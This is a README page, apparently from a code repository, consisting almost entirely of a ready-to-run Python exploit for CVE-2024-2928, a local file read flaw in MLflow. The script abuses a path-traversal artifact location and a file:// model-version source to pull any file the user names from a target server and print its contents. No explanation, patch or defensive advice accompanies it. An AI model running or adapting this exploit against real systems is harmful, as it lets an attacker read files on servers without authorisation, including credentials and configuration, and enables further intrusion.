README.md
Rendering markdown...
#!/usr/bin/python3
import requests
import argparse
import random
import os
import string
import json
parser = argparse.ArgumentParser("CVE-2024-2928 Local File Read Exploit\n m1nus0ne")
parser.add_argument("-t", "--target", required=True, type=str)
parser.add_argument("-p", "--port", required=True, type=int)
args: argparse.Namespace = parser.parse_args()
target = args.target
port = args.port
RootUrl = f'http://{target}:{port}/'
Endpoint02 = 'ajax-api/2.0/mlflow/experiments/create'
Endpoint03 = 'api/2.0/mlflow/runs/create'
Endpoint04 = 'ajax-api/2.0/mlflow/registered-models/create'
Endpoint05 = 'ajax-api/2.0/mlflow/model-versions/create'
def GetFileDirnameAndBasename():
AbsFilePath = str(input("File path: "))
filename = os.path.basename(AbsFilePath)
filepath = os.path.dirname(AbsFilePath)
return filename, filepath
def GetRandomName():
return ''.join(random.choices(string.ascii_letters, k=16))
def GetArtifactLocation(filepath):
return f'http:///#/../../../../../../../../../../../../../..{filepath}/'
def GetRunId(response):
return json.loads(json.dumps(response))['run']['info']['run_id']
while(True):
filename, filepath = GetFileDirnameAndBasename()
#Request02
ExperimentName = GetRandomName()
ArtifactLocation = GetArtifactLocation(filepath)
datapack02 = json.dumps({"name": ExperimentName, "artifact_location": ArtifactLocation})
response02 = requests.post(f'{RootUrl}{Endpoint02}',
data=datapack02,
headers={"Content-Type": "application/json"})
ExperimentId = str(response02.json()['experiment_id'])
#Request03
datapack03 = json.dumps({"experiment_id": ExperimentId})
response03 = requests.post(f'{RootUrl}{Endpoint03}',
data=datapack03,
headers={"Content-Type": "application/json"})
RunId = GetRunId(response03.json())
#Request04
datapack04 = json.dumps({"name": ExperimentName})
response04 = requests.post(f'{RootUrl}{Endpoint04}',
data=datapack04,
headers={"Content-Type": "application/json"})
#Request05
datapack05 = json.dumps({"name": ExperimentName, "run_id": RunId, "source": f'file://{filepath}/'})
response05 = requests.post(f'{RootUrl}{Endpoint05}',
data=datapack05,
headers={"Content-Type": "application/json"})
#Request06
Endpoint06 = f'model-versions/get-artifact?path={filename}&name={ExperimentName}&version=1'
response06 = requests.get(f'{RootUrl}{Endpoint06}')
if (response06.status_code != 200):
print(f'{filepath}/{filename} not found!')
else:
print(response06.text)
print('#############~END of File~#################')